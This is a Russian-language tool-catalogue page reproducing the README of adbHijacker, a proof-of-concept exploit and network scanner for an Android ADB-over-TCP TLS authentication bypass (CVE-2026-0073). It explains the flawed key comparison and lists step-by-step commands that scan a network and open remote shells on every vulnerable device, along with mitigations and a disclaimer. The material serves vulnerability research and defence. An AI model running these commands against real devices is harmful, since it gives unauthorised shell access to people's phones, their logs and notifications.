Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
adbHijacker — Инструмент PoC для CVE-2026-0073 на устройствах Android 11+ , который позволяет мгновенно выполнить RCE с нулевым кликом на любом незапатченном устройстве с включённым adb через tcp. | Kitploit
Инструменты/GitHubGitHub/unnaim/adbhijacker
Безопасность AndroidРазведкаАнализ уязвимостейЭксплуатацияСетевая безопасностьТестирование на ПроникновениеМобильная безопасностьИнструмент Удаленного Доступа
GitHubunnaim/adbhijacker

adbHijacker

Инструмент PoC для CVE-2026-0073 на устройствах Android 11+ , который позволяет мгновенно выполнить RCE с нулевым кликом на любом незапатченном устройстве с включённым adb через tcp.

Репозиторий
72204 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-0073 — Обход аутентификации TLS в Android ADB

Эксплойт proof-of-concept и сетевой сканер для CVE-2026-0073 — критической уязвимости удалённого выполнения кода с нулевым кликом и без взаимодействия в пути аутентификации ADB-over-TCP в Android adbd.

Уязвимость представляет собой логическую ошибку в adbd_tls_verify_cert() (daemon/auth.cpp), где EVP_PKEY_cmp() трактуется как булев предикат. Когда сохранённый RSA-ключ сравнивается с не-RSA TLS-сертификатом клиента (EC P-256 или Ed25519), API возвращает -1 (несовпадение типов), что является истинным (truthy) значением в C/C++. Это превращает несовпадение между разными алгоритмами в успешное совпадение ключа хоста — полностью обходя аутентификацию.

Технические детали получены из BARGHEST.
Базовый код PoC взят из SecTestAnnaQuinn.
Исправлено в Android Security Bulletin — май 2026.


Влияние

Из контекста shell атакующий может просматривать системные свойства, состояние процессов, журналы, уведомления; устанавливать и удалять пакеты; использовать run-as для отлаживаемых приложений; а также подготавливать последующую эксплуатацию.


Файлы

ФайлНазначение
adb_tls_auth_bypass.pyPoC эксплойта для одной цели (оригинал от SecTestAnnaQuinn, исправлена контрольная сумма)
adbt_scanner.pyСетевой сканер — обнаружение уязвимых устройств + их эксплуатация
requirements.txtЗависимости Python

Предварительные требования (целевое устройство)

Для успешной эксплуатации целевое Android-устройство должно иметь:

  1. Включённые Параметры разработчика
  2. Включённую беспроводную отладку или ADB-over-TCP (TCP-сервис платформенного adbd)
  3. Как минимум один ранее сопряжённый RSA-ключ хоста в /data/misc/adb/adb_keys
  4. Сетевую доступность TCP-порта ADB (по умолчанию 5555)

Установка

root@kitploit:~
# Создание виртуального окружения
uv venv

# Активация
source .venv/bin/activate

# Установка зависимостей
uv pip install -r requirements.txt

Зависимости:

Сканер корректно деградирует при отсутствии необязательных пакетов — он выдаст предупреждение и переключится на альтернативные методы (системная команда ip, nmap, TCP connect-сканирование).


Использование

Режим 0 — Прямая эксплуатация одной цели

Атака на известное уязвимое устройство напрямую.

root@kitploit:~
python3 adb_tls_auth_bypass.py 192.168.1.42              # интерактивная оболочка
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"

Или через сканер:

root@kitploit:~
python3 adbt_scanner.py --host 192.168.1.42                # интерактивная оболочка
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"

Режим 1 — Сканирование сети, идентификация, эксплуатация

Сканирование локальной сети на предмет уязвимых устройств и эксплуатация всех подтверждённых целей.

root@kitploit:~
# Полное сканирование: mDNS → ARP → сканирование портов → ADB-проба → эксплуатация
python3 adbt_scanner.py --scan

# Выполнение конкретной команды на всех уязвимых устройствах
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"

# Только разведка — обнаружение без эксплуатации
python3 adbt_scanner.py --scan --no-exploit

# Сканирование нескольких портов
python3 adbt_scanner.py --scan --ports 5555,5580,5037

# Переопределение обнаруженной подсети (многосетевые хосты, конкретные диапазоны)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24

# Настройка таймаутов для медленных сетей
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10

# Увеличение окна прослушивания mDNS
python3 adbt_scanner.py --scan --mdns-timeout 60

# Пропуск конкретных фаз обнаружения
python3 adbt_scanner.py --scan --no-mdns    # пропустить mDNS, только ARP
python3 adbt_scanner.py --scan --no-arp     # пропустить ARP, только mDNS

Справочник CLI сканера

root@kitploit:~
--scan                    Сканирование сети на уязвимые устройства + эксплуатация
--host HOST               Прямая эксплуатация одной цели
--port PORT               ADB-порт для режима --host (по умолчанию: 5555)
--cmd COMMAND             Команда оболочки для выполнения
-v, --verbose             Подробное логирование

--mdns-timeout SECONDS    Длительность прослушивания mDNS (по умолчанию: 30)
--ports PORTS             Порты через запятую в режиме --scan (по умолчанию: 5555)
--subnet CIDR             Переопределение обнаруженной подсети (например, 192.168.2.0/24)
--connect-timeout SECONDS Таймаут TCP-подключения (по умолчанию: 2.0)
--probe-timeout SECONDS   Таймаут ADB-пробы (по умолчанию: 3.0)
--arp-timeout SECONDS     Таймаут ARP-сканирования (по умолчанию: 3)
--no-mdns                 Пропустить обнаружение mDNS
--no-arp                  Пропустить ARP-сканирование + сканирование портов
--no-exploit              Остановиться после фазы ADB-пробы протокола

Конвейер обнаружения

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│ 1. Определение подсети — netifaces → ip route → socket-трюк │
│ 2. Слушатель mDNS     — _adb-tls-connect._tcp (30 с по умолч.)│
│ 3. ARP-сканирование   — scapy.arping → nmap -sn             │
│ 4. Сканирование портов — TCP connect к каждому host:port     │
│ 5. ADB-проба протокола — отправка CNXN, классификация ответа │
│                                                             │
│    STLS   → УЯЗВИМО (переход к эксплуатации)                 │
│    AUTH   → устаревшая ADB-аутентификация (не эта CVE)       │
│    CNXN   → открыто, без аутентификации (уже доступно)       │
│    NO_ADB → не ADB-сервис                                    │
│                                                             │
│ 6. Эксплуатация      — TLS-апгрейд → обход аутентификации → оболочка │
└─────────────────────────────────────────────────────────────┘

mDNS — самый точный метод идентификации: при сопряжении беспроводной отладки Android явно транслирует _adb-tls-connect._tcp. ARP-сканирование + сканирование портов служит универсальным запасным вариантом.


Механика эксплойта

root@kitploit:~
Фаза 1 — открытый (cleartext) ADB
  Клиент → CNXN(payload="host::features=...")
  Устройство → STLS  (требуется апгрейд до TLS)

Фаза 2 — TLS 1.3 с клиентским сертификатом кросс-алгоритма
  Клиент → ответ STLS
  Клиент → рукопожатие TLS 1.3 + клиентский сертификат EC P-256
  Устройство вызывает adbd_tls_verify_cert():
    known_evp = RSA-ключ из /data/misc/adb/adb_keys
    evp_pkey  = ключ EC P-256 из клиентского сертификата
    EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (несовпадение типов)
    if (-1) → verified = true   ← ОШИБКА: -1 является истинным (truthy)

Фаза 3 — Пост-TLS сервисный уровень ADB
  Клиент обрабатывает CNXN устройства (транспорт уже онлайн)
  CNXN хоста не отправляется (это вызвало бы выброс handle_new_connection)
  Клиент → OPEN(local_id, window=32MB, payload="shell:\x00")
  Устройство → OKAY  → установлен поток оболочки

Модель угроз

Прямая сетевая доступность

  • Беспроводная отладка оставлена включённой в ненадёжной сети (кафе, офис, конференция)
  • ADB, доступный из интернета на порту 5555 (более 10 000 устройств только в Корее наблюдалось в ходе исследования доступности)

Создание состояния с помощью вредоносного ПО

  • Вредоносное ПО на устройстве использует службу специальных возможностей (Accessibility Service) для включения параметров разработчика, активации беспроводной отладки и сопряжения ключа хоста — подготавливая устройство к удалённой эксплуатации сетевым узлом

Ограничения

  • Не root. Эксплойт предоставляет контекст shell (uid=2000). Компрометация ядра, root-доступ и ключи аппаратного хранилища требуют дополнительного повышения привилегий.
  • Требуется сопряжённый ключ. На цели должен быть хотя бы один RSA-ключ хоста в /data/misc/adb/adb_keys. Свежесброшенное устройство с включённой беспроводной отладкой, но никогда не сопрягавшееся, не уязвимо.
  • Требуется путь STLS. Устройства, обслуживающие ADB через TCP по устаревшим (не-TLS) механизмам, отвечают AUTH, а не STLS, и не подвержены данной CVE.
  • Исправленные устройства невосприимчивы. Майский Android Security Bulletin 2026 года включает исправление, изменяющее проверку EVP_PKEY_cmp на требование точного возвращаемого значения == 1.

Меры по смягчению

  • Установите исправление.
  • Отключайте параметры разработчика, когда они не нужны активно.
  • Отключайте беспроводную отладку.
  • Не открывайте доступ к ADB за пределами вашей локальной доверенной сети.

Ссылки

  • Android Security Bulletin — май 2026
  • Технический анализ от BARGHEST
  • Благодарности Android
  • Коммит BoringSSL — нормализация возвращаемого значения EVP_PKEY_cmp
  • Отчёт о шпионском ПО Morpheus — Osservatorio Nessuno
  • MESH — инструмент безопасности Android от BARGHEST

Отказ от ответственности

Данное программное обеспечение предоставляется только для образовательных целей и санкционированных исследований безопасности. Инструменты и код в этом репозитории предназначены для помощи специалистам по безопасности, исследователям и владельцам устройств:

  • Понять, как CVE-2026-0073 работает на уровне протокола
  • Проводить аудит и оценку собственных устройств и сетей
  • Разрабатывать и тестировать меры по смягчению

Вы не должны использовать данное программное обеспечение:

  • Против любого устройства или сети, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения
  • В любых незаконных целях или в нарушение применимого законодательства
  • Для доступа, изменения или выгрузки данных без авторизации

Несанкционированный доступ к компьютерным системам незаконен в большинстве юрисдикций и может повлечь уголовную и гражданскую ответственность. Авторы и участники не несут никакой ответственности за неправомерное использование, ущерб или юридические последствия, возникающие в результате использования данного программного обеспечения.

Используйте ответственно. Знайте свою цель. Получите разрешение.


Лицензия

CC0 1.0 Universal — Без сохранения прав.

В максимально возможной степени, предусмотренной законом, авторы отказались от всех авторских и смежных прав на эту работу.

Скачать инструмент
АтрибутДетали
Вектор атакиСеть (смежная / проксимальная)
ВзаимодействиеНет (zero-click)
Получаемые привилегиипользователь shell (uid=2000), SELinux u:r:shell:s0
Примитив эксплуатацииУдалённый доступ к оболочке через ADB
CVSSКритический (9.8)
ПакетИспользуетсяОбязателен?
cryptographyОба скрипта (генерация EC-сертификатов, TLS)Да
netifacesСканер (определение подсети)Желательно
zeroconfСканер (обнаружение mDNS)Желательно
scapyСканер (ARP-сканирование)Желательно